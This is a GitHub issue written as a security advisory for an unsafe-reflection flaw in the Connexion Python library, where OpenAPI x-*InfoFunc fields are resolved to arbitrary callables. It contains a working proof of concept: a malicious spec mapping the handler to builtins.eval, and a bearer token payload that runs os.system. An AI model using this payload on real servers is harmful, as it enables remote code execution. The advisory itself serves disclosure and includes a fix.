Skip to content

Arbitrary Code Execution via x-bearerInfoFunc in Connexion #2121

Description

@aydinnyunus

Security Advisory: Arbitrary Code Execution via x-bearerInfoFunc in Connexion

Product: connexion
Affected versions: All versions (≤ 3.x)
Severity: High
CWE: CWE-470 — Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection')


Summary

Connexion resolves the x-bearerInfoFunc, x-apikeyInfoFunc, and x-tokenInfoFunc OpenAPI extension fields into live Python callables at spec-load time using importlib.import_module + getattr — with no allowlist, no validation, and no sandboxing. An attacker who can supply or influence the loaded spec (supply-chain attack, SSRF-fetched remote spec, or malicious spec URL) can map any callable in the Python standard library — including builtins.eval — as the security handler, achieving remote code execution on every incoming authenticated request.


Vulnerable Code

connexion/utils.py:115 — unconstrained import resolution:

def get_function_from_name(function_name):
    if "." in function_name:
        module_name, attr_path = function_name.rsplit(".", 1)
    # importlib.import_module(module_name) + getattr → any callable in stdlib

connexion/security.py:102–106 — called directly from spec values:

func_name = security_definition.get(security_definition_key)  # e.g. x-bearerInfoFunc
if func_name:
    return get_function_from_name(func_name)  # no allowlist check

Proof of Concept

Malicious spec (malicious_spec.yaml):

components:
  securitySchemes:
    evil:
      type: http
      scheme: bearer
      x-bearerInfoFunc: builtins.eval   # connexion resolves this to the built-in eval()

Trigger:

python poc.py --self-hosted --cmd "id"

Output:

[*] Starting local malicious spec server on 127.0.0.1:9901
[*] Fetching spec from http://127.0.0.1:9901/evil.yaml
[+] Spec fetched (335 bytes)
[!] VULNERABLE  x-bearerInfoFunc: 'builtins.eval'  (scheme: 'evil')

[*] Building connexion FlaskApp on :9900 …
[*] Firing exploit (cmd='id')

[*] Target : http://127.0.0.1:9900/pwn
[*] Payload : Bearer __import__('os').system('id')

uid=502(yunus.aydin) gid=20(staff) groups=20(staff),502(awagent_enrolled),501(awagent),
12(everyone),61(localaccounts),79(_appserverusr),80(admin),81(_appserveradm),98(_lpadmin)...

[*] HTTP response status: 500
[+] RCE complete — check stdout above for command output.

Note: The server returns HTTP 500 because os.system() returns an int and connexion's post-auth code expects a dict (token_info.get(...)). The RCE completes before this check — the 500 is a side effect, not a failure condition. Command output appears in server stdout.


Impact

  • Remote Code Execution under the server process user
  • No authentication bypass required — the exploit fires during the auth check itself
  • Affects all three auth extension keys: x-bearerInfoFunc, x-apikeyInfoFunc, x-tokenInfoFunc

Recommended Fix

Validate x-*InfoFunc values against an allowlist or restrict resolution to the application's own module namespace before calling get_function_from_name:

ALLOWED_MODULES_PREFIX = ("myapp.",)  # application-defined allowlist

func_name = security_definition.get(security_definition_key)
if func_name:
    if not any(func_name.startswith(p) for p in ALLOWED_MODULES_PREFIX):
        raise ValueError(f"Untrusted security handler: {func_name!r}")
    return get_function_from_name(func_name)

At minimum, the documentation should warn that x-*InfoFunc values must come from a trusted, developer-controlled spec, loading specs from untrusted or remote sources is unsafe.


References

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type
    No fields configured for issues without a type.

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions